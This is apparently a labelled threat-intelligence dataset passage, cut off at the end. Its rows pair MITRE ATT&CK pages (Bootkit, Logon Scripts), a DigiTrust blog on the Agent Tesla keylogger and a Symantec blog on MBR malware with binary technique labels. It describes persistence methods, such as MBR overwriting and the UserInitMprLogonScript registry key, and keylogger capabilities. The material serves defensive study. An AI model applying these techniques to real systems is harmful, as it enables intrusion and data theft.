DLLs AppInit DLLs Application Shimming Bypass User Account Control DLL Search Order Hijacking Dylib Hijacking Exploitation for Privilege Escalation Extra Window Memory Injection File System Permissions Weakness Hooking Image File Execution Options Injection Launch Daemon New Service Path Interception Plist Modification Port Monitors Process Injection Scheduled Task Service Registry Permissions Weakness Setuid and Setgid SID-History Injection Startup Items Sudo Sudo Caching Valid Accounts Web Shell Defense Evasion Access Token Manipulation Binary Padding BITS Jobs Bypass User Account Control Clear Command History CMSTP Code Signing Compile After Delivery Compiled HTML File Component Firmware Component Object Model Hijacking Control Panel Items DCShadow Deobfuscate/Decode Files or Information Disabling Security Tools DLL Search Order Hijacking DLL Side-Loading Execution Guardrails Exploitation for Defense Evasion Extra Window Memory Injection File Deletion File Permissions Modification File System Logical Offsets Gatekeeper Bypass Group Policy Modification Hidden Files and Directories Hidden Users Hidden Window HISTCONTROL Image File Execution Options Injection Indicator Blocking Indicator Removal from Tools Indicator Removal on Host Indirect Command Execution Install Root Certificate InstallUtil Launchctl LC_MAIN Hijacking Masquerading Modify Registry Mshta Network Share Connection Removal NTFS File Attributes Obfuscated Files or Information Plist Modification Port Knocking Process Doppelg\xc3\xa4nging Process Hollowing Process Injection Redundant Access Regsvcs/Regasm Regsvr32 Rootkit Rundll32 Scripting Signed Binary Proxy Execution Signed Script Proxy Execution SIP and Trust Provider Hijacking Software Packing Space after Filename Template Injection Timestomp Trusted Developer Utilities Valid Accounts Virtualization/Sandbox Evasion Web Service XSL Script Processing Credential Access Account Manipulation Bash History Brute Force Credential Dumping Credentials in Files Credentials in Registry Exploitation for Credential Access Forced Authentication Hooking Input Capture Input Prompt Kerberoasting Keychain LLMNR/NBT-NS Poisoning and Relay Network Sniffing Password Filter DLL Private Keys Securityd Memory Two-Factor Authentication Interception Discovery Account Discovery Application Window Discovery Browser Bookmark Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Process Discovery Query Registry Remote System Discovery Security Software Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery System Time Discovery Virtualization/Sandbox Evasion Lateral Movement AppleScript Application Deployment Software Distributed Component Object Model Exploitation of Remote Services Logon Scripts Pass the Hash Pass the Ticket Remote Desktop Protocol Remote File Copy Remote Services Replication Through Removable Media Shared Webroot SSH Hijacking Taint Shared Content Third-party Software Windows Admin Shares Windows Remote Management Collection Audio Capture Automated Collection Clipboard Data Data from Information Repositories Data from Local System Data from Network Shared Drive Data from Removable Media Data Staged Email Collection Input Capture Man in the Browser Screen Capture Video Capture Command and Control Commonly Used Port Communication Through Removable Media Connection Proxy Custom Command and Control Protocol Custom Cryptographic Protocol Data Encoding Data Obfuscation Domain Fronting Domain Generation Algorithms Fallback Channels Multi-hop Proxy Multi-Stage Channels Multiband Communication Multilayer Encryption Port Knocking Remote Access Tools Remote File Copy Standard Application Layer Protocol Standard Cryptographic Protocol Standard Non-Application Layer Protocol Uncommonly Used Port Web Service Exfiltration Automated Exfiltration Data Compressed Data Encrypted Data Transfer Size Limits Exfiltration Over Alternative Protocol Exfiltration Over Command and Control Channel Exfiltration Over Other Network Medium Exfiltration Over Physical Medium Scheduled Transfer Impact Data Destruction Data Encrypted for Impact Defacement Disk Content Wipe Disk Structure Wipe Endpoint Denial of Service Firmware Corruption Inhibit System Recovery Network Denial of Service Resource Hijacking Runtime Data Manipulation Service Stop Stored Data Manipulation Transmitted Data Manipulation Home Techniques Enterprise Bootkit Bootkit A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). [1] Adversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly. Master Boot Record The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. [2] Volume Boot Record The MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code. ID:\xc2 T1067 Tactic: Persistence Platform:\xc2 Linux, Windows Permissions Required:\xc2 Administrator, SYSTEM Data Sources:\xc2 API monitoring, MBR, VBR Version:\xc2 1.0 Mitigations Mitigation Description Boot Integrity Use Trusted Platform Module technology and a secure or trusted boot process to prevent system integrity from being compromised. [3] [4] Privileged Account Management Ensure proper permissions are in place to help prevent adversary access to privileged accounts necessary to install a bootkit. Examples Name Description APT28 APT28 has deployed a bootkit along with Downdelph to ensure its persistence on the victim. The bootkit shares code with some variants of BlackEnergy. [10] BOOTRASH BOOTRASH is a Volume Boot Record (VBR) bootkit that uses the VBR to maintain persistence. [1] FinFisher Some FinFisher variants incorporate an MBR rootkit. [6] [7] Lazarus Group Lazarus Group malware WhiskeyAlfa-Three modifies sector 0 of the Master Boot Record (MBR) to ensure that the malware will persist even if a victim machine shuts down. [8] [9] ROCKBOOT ROCKBOOT is a Master Boot Record (MBR) bootkit that uses the MBR to establish persistence. [5] Detection Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis. References Mandiant. (2016, February). M-Trends 2016. Retrieved January 4, 2017. Lau, H. (2011, August 8). Are MBR Infections Back in Fashion? (Infographic). Retrieved November 13, 2014. Trusted Computing Group. (2008, April 29). Trusted Platform Module (TPM) Summary. Retrieved June 8, 2016. Microsoft. (n.d.). Secure the Windows 8.1 boot process. Retrieved June 11, 2016. Andonov, D., et al. (2015, December 7). Thriving Beyond The Operating System: Financial Threat Group Targets Volume Boot Record. Retrieved May 13, 2016. FinFisher. (n.d.). Retrieved December 20, 2017. Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\xe2\x80\x99s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018. Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016. Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016. ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016. Copyright \xc2\xa9 2015-2019, The MITRE Corporation. MITRE ATT&CK and ATT&CK are trademarks of The MITRE Corporation. Privacy Policy Terms of Use @MITREattack Contact","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"SERVICESABOUTBLOGCAREERSCONTACT The Rise of Agent Tesla January 12th, 2017 In June of 2015, incident response experts at DigiTrust were alerted to a phishing email sent to one of our client organizations. The email contained a link to an order form which was downloaded and opened by an employee. The innocent looking document was not only weaponized with a malicious payload but also contained something new our experts had not seen before. The malicious payload was called Agent Tesla, a keylogger that could capture keystrokes and email them back to the threat actor. The further our incident response team investigated, the more apparent it became that Agent Tesla was much more than a standard Keylogger. Agent Tesla many features that have not been seen in keyloggers before. What is Agent Tesla? Agent Tesla is a relatively new piece of malware used for tracking keystrokes on a victim's computer. The malware can be secretly used by adversaries to collect account information, usernames, passwords, and credit card numbers. Although keyloggers are not built to extract files or remotely provide access a system, any information typed into documents, browsers, or messaging apps can be recorded. Threat actors can take \xe2\x80\x9csnapshots\xe2\x80\x9d of keystrokes and see everything that has been typed, searched, or accessed. While Agent Tesla can perform standard keylogging functions, it also has features that set it apart from similar pieces of malware. Access & Support Tesla has been growing in popularity for a variety of reasons including availability and price. Agent Tesla is readily available, and pricing varies depending on where the threat actor finds it online. From forums claiming to have free \xe2\x80\x9ccracked\xe2\x80\x9d versions to www.AgentTesla[.]com providing access ranging from $9-$30, Agent Tesla is not difficult to acquire. Threat actors downloading the keylogger directly from Agent Tesla\xe2\x80\x99s website receive 24/7 support and software updates. Agent Tesla Pricing Threat actors are provided with 24/7 support, updates, and a Skype contact for assistance. Delivery, Access, and Gaining Entry The delivery of Agent Tesla onto a victim\xe2\x80\x99s computer is often accomplished through phishing, or sending emails with an infected attachment. Agent Tesla also has a feature that allows it to autorun from a USB stick. Currently, Agent Tesla can only be used on Windows operating systems (all versions) while use on other platforms such as Mac or Linux is not an option. More Than Just a Keylogger Searching for Agent Tesla online returns pages of results providing access to or discussing Agent Tesla. When we begin to examine Agent Tesla's features, it becomes clear that this keylogger is more robust than most. The capabilities of Agent Tesla pushes the boundaries of what we typically see in keyloggers. Beyond the Basics The list of features and options for Agent Tesla is extensive. For clarity and cohesiveness, we have outlined some of the core features and functions in this article. While keyloggers were once only known for capturing keystrokes, Agent Tesla has expanded its capabilities far beyond the standard. Click the tabs below to learn more DOWNLOADERPASSWORD RECOVERYSCREEN CAPTURE & WEBCAMMULTI-LANGUAGE The ability to do more than just record keystrokes is beyond the standard functionality of most keyloggers. Agent Tesla has a ""downloader"" feature, allowing the adversary to download and run files on a victim's system. This feature alone shows that Agent Tesla could be used for more involved intrusions than a standard keylogger. Customization & Control There are two main pieces to using Agent Tesla. The first is the interface allowing for customization of Agent Tesla's functions. If a threat actor wants to customize Agent Tesla before sending it to a potential target, this interface allows them this flexibility. From the visibility of the install to how the victim will interact with Agent Tesla is controlled from this interface. The second piece is the actual dashboard of Agent Tesla. The threat actor monitors the connected systems and controls Agent Tesla from this dashboard. The dashboard is a command center, and the adversary is at the controls. Let\xe2\x80\x99s take a look at both the interface and the dashboard. The Interface Agent Tesla needs to be enabled (turned on) by the target themselves; this can require a level of obfuscation. Agent Tesla can create a false message to trick the target into providing access. The false message might read \xe2\x80\x9cUpdate Adobe Flash Player,\xe2\x80\x9d after the target clicks \xe2\x80\x9cok\xe2\x80\x9d they have just told the computer to \xe2\x80\x9cinstall Agent Tesla.\xe2\x80\x9d Composing Fake Messages The following shows how Agent Tesla can create a fake pop-up message to deceive a target. The threat actor can create a heading (#1), a message for the pop-up box (#2), and can even include a particular icon (#3). The result is a fake pop-up message used to trick the victim into installing Agent Tesla. The resulting false message created by Agent Tesla. The Command Center The dashboard is a single window with simple navigation tools providing the adversary a clear view of their connected \xe2\x80\x9cclients."" All collected information such as keystroke logs (#1), time stamps (#2), and IP addresses (#3) can be found in the dashboard. The column on the left side of the dashboard allows for quick access to collected passwords, screenshots, and keystrokes (#4). Stealing Keystrokes Agent Tesla will keep logs of the victim's keystrokes and where those keystrokes occurred. If the victim opens Notepad, Outlook, or even Facebook, the blue text tells the adversary where these keystrokes were made. Standard black text with no formatting will indicate the actual written text of the victim, such as a username or password. The final indicator color is green; the green text shows the function keys that were used. The Danger of Automation The ability to automate may be one of the most dangerous features of Agent Tesla. An adversary can automate the keylogger to take snapshots of keystrokes, the desktop, and webcam images at timed intervals. If the threat actor wanted to take a snapshot every 10 minutes, Agent Tesla could do just that. The adversary can view what was collected in the Agent Tesla logs (or via email) and keep the information they find most valuable. Although Agent Tesla is not completely hands off, any level of automation can make collecting information faster and simpler for adversaries. Automation, interface simplicity, and advanced features are just some of the reasons Agent Tesla\xe2\x80\x99s use has expanded in 2015 and 2016. What To Do? To protect against Agent Tesla, we need to be cautious in opening our email attachments or visiting unknown web links. However, if a keylogger was already inside the system, what would we do? How would we know? When we begin to ask these questions at the enterprise or organizational level, the answers can become much more involved. With malware like Agent Tesla having the ability to download and run additional malware, the possible damage extends beyond collecting keystrokes. Although there are several pieces of software claiming to be able to find keyloggers, these tools are not able to establish any situational context to understand how deep the intrusion may go. Security Automation, The Hard Truth Full automation in information security is not yet a reality, which is precisely why security software may only eliminate the symptom as opposed to alleviating the root of the problem. Automated security software cannot determine or evaluate the context behind an intrusion. Security experts need to build as much context as possible around incidents involving malware like Agent Tesla to effectively investigate, contain, and remediate. DigiTrust Solutions By performing incident response, we can understand the complete who, what, when, where, and why of Agent Tesla within a victim's system. The ability to root-cause provides a better chance of a thorough recovery and better protection against such intrusions in the future. DigiTrust\xe2\x80\x99s people, processes, and technology are dedicated to not just finding the needle in the haystack, but getting to the root of intrusions like Agent Tesla and eliminating it. To learn more about DigiTrust\xe2\x80\x99s managed security and consulting services you can contact us using the form below or call (310) 696-4500. Full Name* First Last Email Address* Contact Number* Company Name (Optional) How Can DigiTrust Help You? Submit The DigiTrust Group is a managed security services firm that focuses on using advanced people, processes, and technology to proactively provide the highest level of information security at our client organizations. We do this by actively identifying, blocking, and researching attackers hitting our client organizations. In short, we act as a security operations center (SOC) for organizations that either do not have a SOC or require augmented SOC functionality. Upgrade your defense today. CONTACT US The DigiTrust Group\xc2\xae and Digital Trust\xe2\x84\xa2 are trademarks/service marks of The DigiTrust Group, LLC FEATURED CLIENTS PrevNext THE DIGITRUST GROUP, LLC | 11111 SANTA MONICA BLVD SUITE 250 | LOS ANGELES, CA 90025 | 310.696.4500 \xc2\xa9 2017 The DigiTrust Group\xc2\xae. All Rights Reserved.","1","0","0","0","0","1","0","0","1","1","1","0","0","0","0","1","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","1","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0" -"Symantec Connect Blogs Security Response Security Response +3 3 Votes Symantec Official Blog Are MBR Infections Back in Fashion? (Infographic) By: Hon Lau SYMANTEC EMPLOYEE Created 08 Aug 2011 0 Comments : \xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e A Master Boot Record (MBR) is an area of the hard disk (usually the first sector) used by a computer to perform start up operations. It is one of the first things to be read and executed by the computer hardware when a computer is powered on, even before the operating system itself. As far as trying to get access to the hardware first, you can\xe2\x80\x99t really beat the MBR for that, with the exception of hardware ROM (BIOS) itself. MBR infections offer great scope for deep infection and control of computers, which makes the idea attractive to malware creators. Contemporary MBR infection methods are a fairly complex affair and are not an undertaking that can be performed by many malware creators except for more highly skilled individuals. This is probably one reason why after the creators of Trojan.Mebroot rediscovered the lost art of MBR infection, back in 2007 (based on work done by Soeder and Permeh of eEye Digital Security in 2005 on BootRoot), not too many other malware creators have followed in their wake. Mebroot was a significant piece of malware. It not only infected the MBR of the computer but also implemented direct disk access to write its own code into unused sectors of the hard disk and therefore place itself into an area that the host operating system isn\xe2\x80\x99t even aware of. This type of low-level infection, coupled with a sophisticated rookit, makes it difficult to detect and get rid of Mebroot from an infected computer. The way to defeat it is to try and get access to the hardware by avoiding the malware hooks or before the malicious MBR gets to execute. While MBR infection has been a mainstay of Mebroot since the start, another gang who were responsible for the highly sophisticated threat Backdoor.Tidserv (originally infected system driver files) decided that they too will have a piece of the MBR action. They jumped on board the MBR bandwagon back in the summer of 2010 with Backdoor.Tidserv.L and subsequent versions have been using this method since. Aside from Mebroot and Tidserv, there has been few other threats between 2008 to 2010 using the MBR infection technique, Trojan.Mebratix and Trojan.Bootlock being the only examples. It looked like MBR infections were going nowhere fast. Fast forward to now, the picture for MBR malware has changed considerably. So far in 2011, we have seen as Backdoor.Tidserv.M, Trojan.Smitnyl, Trojan.Fispboot, Trojan.Alworo, and Trojan.Cidox. This represents as many new MBR or boot time malware threats as there had been in all the previous three years. This statistic points to a possible trend towards increasing use of boot time infection (particularly the use of the MBR) as a way to infect computers. We should also note that much of the hard graft to build this type of malware has already been done by researchers and early adopters. When researchers released details for BootRoot and VBootkit, malware authors literally took the research and proof of concept code and simply adapted them for their own needs. From our observations, we can tell that a number of MBR infecting malware families currently in circulation borrowed heavily from the BootRoot PoC. The arrival of short lived ransomware type threats lend weight to the idea, because this type of malware can be considered as throw away code. Ransomware is made for a single purpose and are not expected to provide a long length of service so the people who make them don\xe2\x80\x99t want to spend too much time and effort in creating and hiding them on the computer. This is in sharp contrast to the more advanced examples of back door Trojans for whom the creators are trying to build a lasting and useful network of computers for profit. These are signs that the barrier to entry for this type of malware has been lowered. At this time, all the recent boot time malwares target the MBR with the exception of Trojan.Cidox which takes a slightly different approach. Instead of targeting the MBR, it infects the Initial Program Loader to achieve a similar overall effect, this is an innovation on the current MBR infection techniques. As with any malware infections, the key is to not get infected in the first place. Symantec has been quick to add detection for such malware whenever they are discovered (so keep your detections up-to-date) and we also offer various tools that can help to remove them. For MBR infecting threats, a simple way to disable the malware is to boot up with a bootable CD and then run \xe2\x80\x9cfixmbr\xe2\x80\x9d which will restore the MBR to a default setting. This will stop the MBR based malware from executing. For other more tricky threats you can try tools such as the Norton Boot Recovery Tool. From a historical point of view, infecting the MBR is not a new technique per se, many of the old boot sector viruses from over a decade ago did something similar. The difference is, modern MBR malware do so much more than just infecting the MBR. They say that fashion comes in cycles, is MBR malware making a comeback in 2011? It certainly looks that way. The following infographic summarizes these threats and what they do. (A big thanks to Stephen Doherty and Piotr Krysiuk for their input.) Download PDF Tags: Products, Security Response, Backdoor.Tidserv, Backdoor.Tidserv.L, Backdoor.Tidserv.M, Trojan.Alworo, Trojan.Bootlock, Trojan.Cidox, Trojan.Fispboot, Trojan.Mebratix, Trojan.Mebroot, Trojan.Smitnyl Subscriptions (0) Hon Lau View Profile Login or Register to post comments. About Your Community A Message From Your Community Manager: RGMDonaldson Welcome to the Security Community on Symantec Connect. The Security Community covers many different security products from Symantec and provides valuable technical information for each. Please feel free to contact me via private message with any questions you may have. I look forward to hearing from you and answering any questions about the Community. Send a private message to the Community Manager Top 5 Contributors: All Time MEMBERREWARD POINTS \xe2\x84\xacr\xce\xaf\xce\xb1\xce\xb7148952 Vikram Kumar-SAV to SEP77376 Mithun Sanghavi77368 Rafeeq69214 P_K_53536 Top 5 Contributors: Last 30 Days MEMBERREWARD POINTS dprager1800 Aboonaim Golandaz1150 Aravind Ghosh375 Mithun Sanghavi350 AlexHedley315 Contact UsPrivacy PolicyEarn RewardsRewards Terms and Conditions \xc2\xa9 2019 Symantec Corporation","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Logon Scripts - Enterprise | MITRE ATT&CK\xe2\x84\xa2 Matrices Tactics PRE-ATT&CK Enterprise Mobile Techniques PRE-ATT&CK Enterprise Mobile Mitigations Enterprise Mobile Groups Software Resources General Information Getting Started ATT&CKcon Working with ATT&CK FAQ Updates Previous Versions Related Projects Blog\xc2 Contribute Register to stream ATT&CKcon 2.0 October 29-30 ENTERPRISE ENTERPRISE MOBILE PRE-ATT&CK TECHNIQUES All Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Replication Through Removable Media Spearphishing Attachment Spearphishing Link Spearphishing via Service Supply Chain Compromise Trusted Relationship Valid Accounts Execution AppleScript CMSTP Command-Line Interface Compiled HTML File Control Panel Items Dynamic Data Exchange Execution through API Execution through Module Load Exploitation for Client Execution Graphical User Interface InstallUtil Launchctl Local Job Scheduling LSASS Driver Mshta PowerShell Regsvcs/Regasm Regsvr32 Rundll32 Scheduled Task Scripting Service Execution Signed Binary Proxy Execution Signed Script Proxy Execution Source Space after Filename Third-party Software Trap Trusted Developer Utilities User Execution Windows Management Instrumentation Windows Remote Management XSL Script Processing Persistence .bash_profile and .bashrc Accessibility Features Account Manipulation AppCert DLLs AppInit DLLs Application Shimming Authentication Package BITS Jobs Bootkit Browser Extensions Change Default File Association Component Firmware Component Object Model Hijacking Create Account DLL Search Order Hijacking Dylib Hijacking External Remote Services File System Permissions Weakness Hidden Files and Directories Hooking Hypervisor Image File Execution Options Injection Kernel Modules and Extensions Launch Agent Launch Daemon Launchctl LC_LOAD_DYLIB Addition Local Job Scheduling Login Item Logon Scripts LSASS Driver Modify Existing Service Netsh Helper DLL New Service Office Application Startup Path Interception Plist Modification Port Knocking Port Monitors Rc.common Re-opened Applications Redundant Access Registry Run Keys / Startup Folder Scheduled Task Screensaver Security Support Provider Service Registry Permissions Weakness Setuid and Setgid Shortcut Modification SIP and Trust Provider Hijacking Startup Items System Firmware Systemd Service Time Providers Trap Valid Accounts Web Shell Windows Management Instrumentation Event Subscription Winlogon Helper DLL Privilege Escalation Access Token Manipulation Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Bypass User Account Control DLL Search Order Hijacking Dylib Hijacking Exploitation for Privilege Escalation Extra Window Memory Injection File System Permissions Weakness Hooking Image File Execution Options Injection Launch Daemon New Service Path Interception Plist Modification Port Monitors Process Injection Scheduled Task Service Registry Permissions Weakness Setuid and Setgid SID-History Injection Startup Items Sudo Sudo Caching Valid Accounts Web Shell Defense Evasion Access Token Manipulation Binary Padding BITS Jobs Bypass User Account Control Clear Command History CMSTP Code Signing Compile After Delivery Compiled HTML File Component Firmware Component Object Model Hijacking Control Panel Items DCShadow Deobfuscate/Decode Files or Information Disabling Security Tools DLL Search Order Hijacking DLL Side-Loading Execution Guardrails Exploitation for Defense Evasion Extra Window Memory Injection File Deletion File Permissions Modification File System Logical Offsets Gatekeeper Bypass Group Policy Modification Hidden Files and Directories Hidden Users Hidden Window HISTCONTROL Image File Execution Options Injection Indicator Blocking Indicator Removal from Tools Indicator Removal on Host Indirect Command Execution Install Root Certificate InstallUtil Launchctl LC_MAIN Hijacking Masquerading Modify Registry Mshta Network Share Connection Removal NTFS File Attributes Obfuscated Files or Information Plist Modification Port Knocking Process Doppelg\xc3\xa4nging Process Hollowing Process Injection Redundant Access Regsvcs/Regasm Regsvr32 Rootkit Rundll32 Scripting Signed Binary Proxy Execution Signed Script Proxy Execution SIP and Trust Provider Hijacking Software Packing Space after Filename Template Injection Timestomp Trusted Developer Utilities Valid Accounts Virtualization/Sandbox Evasion Web Service XSL Script Processing Credential Access Account Manipulation Bash History Brute Force Credential Dumping Credentials in Files Credentials in Registry Exploitation for Credential Access Forced Authentication Hooking Input Capture Input Prompt Kerberoasting Keychain LLMNR/NBT-NS Poisoning and Relay Network Sniffing Password Filter DLL Private Keys Securityd Memory Two-Factor Authentication Interception Discovery Account Discovery Application Window Discovery Browser Bookmark Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Process Discovery Query Registry Remote System Discovery Security Software Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery System Time Discovery Virtualization/Sandbox Evasion Lateral Movement AppleScript Application Deployment Software Distributed Component Object Model Exploitation of Remote Services Logon Scripts Pass the Hash Pass the Ticket Remote Desktop Protocol Remote File Copy Remote Services Replication Through Removable Media Shared Webroot SSH Hijacking Taint Shared Content Third-party Software Windows Admin Shares Windows Remote Management Collection Audio Capture Automated Collection Clipboard Data Data from Information Repositories Data from Local System Data from Network Shared Drive Data from Removable Media Data Staged Email Collection Input Capture Man in the Browser Screen Capture Video Capture Command and Control Commonly Used Port Communication Through Removable Media Connection Proxy Custom Command and Control Protocol Custom Cryptographic Protocol Data Encoding Data Obfuscation Domain Fronting Domain Generation Algorithms Fallback Channels Multi-hop Proxy Multi-Stage Channels Multiband Communication Multilayer Encryption Port Knocking Remote Access Tools Remote File Copy Standard Application Layer Protocol Standard Cryptographic Protocol Standard Non-Application Layer Protocol Uncommonly Used Port Web Service Exfiltration Automated Exfiltration Data Compressed Data Encrypted Data Transfer Size Limits Exfiltration Over Alternative Protocol Exfiltration Over Command and Control Channel Exfiltration Over Other Network Medium Exfiltration Over Physical Medium Scheduled Transfer Impact Data Destruction Data Encrypted for Impact Defacement Disk Content Wipe Disk Structure Wipe Endpoint Denial of Service Firmware Corruption Inhibit System Recovery Network Denial of Service Resource Hijacking Runtime Data Manipulation Service Stop Stored Data Manipulation Transmitted Data Manipulation Home Techniques Enterprise Logon Scripts Logon Scripts Windows Windows allows logon scripts to be run whenever a specific user or group of users log into a system. [1] The scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. If adversaries can access these scripts, they may insert additional code into the logon script to execute their tools when a user logs in. This code can allow them to maintain persistence on a single system, if it is a local script, or to move laterally within a network, if the script is stored on a central server and pushed to many systems. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. Mac Mac allows login and logoff hooks to be run as root whenever a specific user logs into or out of a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike startup items, a login hook executes as root [2]. There can only be one login hook at a time though. If adversaries can access these scripts, they can insert additional code to the script to execute their tools when a user logs in. ID:\xc2 T1037 Tactic: Lateral Movement, Persistence Platform:\xc2 macOS, Windows System Requirements:\xc2 Write access to system or domain logon scripts Data Sources:\xc2 File monitoring, Process monitoring CAPEC ID: CAPEC-564 Version:\xc2 1.0 Mitigations Mitigation Description Restrict File and Directory Permissions Restrict write access to logon scripts to specific administrators. Examples Name Description APT28 An APT28 loader Trojan adds the Registry key HKCU\\Environment\\UserInitMprLogonScript to establish persistence. [6] Cobalt Group Cobalt Group has added persistence by registering the file name for the next stage malware under UserInitMprLogonScript. [7] JHUHUGIT JHUHUGIT has registered a Windows shell script under the Registry key HKCU\\Environment\\UserInitMprLogonScript to establish persistence. [3] [4] Zebrocy Zebrocy performs persistence via adding a Registry key with a logon script. [5] Detection Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. References Microsoft. (2005, January 21). Creating logon scripts. Retrieved April 27, 2016. Apple. (2011, June 1). Mac OS X: Creating a login hook. Retrieved July 17, 2017. ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016. Mercer, W., et al. (2017, October 22). ""Cyber Conflict"" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018. ESET. (2018, November 20). Sednit: What\xe2\x80\x99s going on with Zebrocy?. Retrieved February 12, 2019. Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017. Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018. Copyright \xc2\xa9 2015-2019, The MITRE Corporation. MITRE ATT&CK and ATT&CK are trademarks of The MITRE Corporation. Privacy Policy Terms of Use @MITREattack Contact","0","0","0","1","0","1","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"CAPEC - CAPEC-564: Run Software at Logon (Version 3.1) Common Attack Pattern Enumeration and Classification A Community Resource for Identifying and Understanding Attacks Home > CAPEC List > CAPEC-564: Run Software at Logon (Version 3.1) \xc2 ID Lookup: Home About Overview Documents Use Cases Resources Glossary FAQs CAPEC List Latest Version Downloads Reports Archive Community Community Citations Vendor Usage Discussion List Related Activities News Current News Free Newsletter CAPEC on Twitter CAPEC on News Archive Search CAPEC-564: Run Software at Logon Attack Pattern ID: 564 Abstraction: Detailed Status: Draft Presentation Filter: Basic Complete Description Operating system allows logon scripts to be run whenever a specific user or users logon to a system. If adversaries can access these scripts, they may insert additional code into the logon script. This code can allow them to maintain persistence or move laterally within an enclave because it is executed every time the affected user or users logon to a computer. Modifying logon scripts can effectively bypass workstation and enclave firewalls. Depending on the access configuration of the logon scripts, either local credentials or a remote administrative account may be necessary. Relationships The 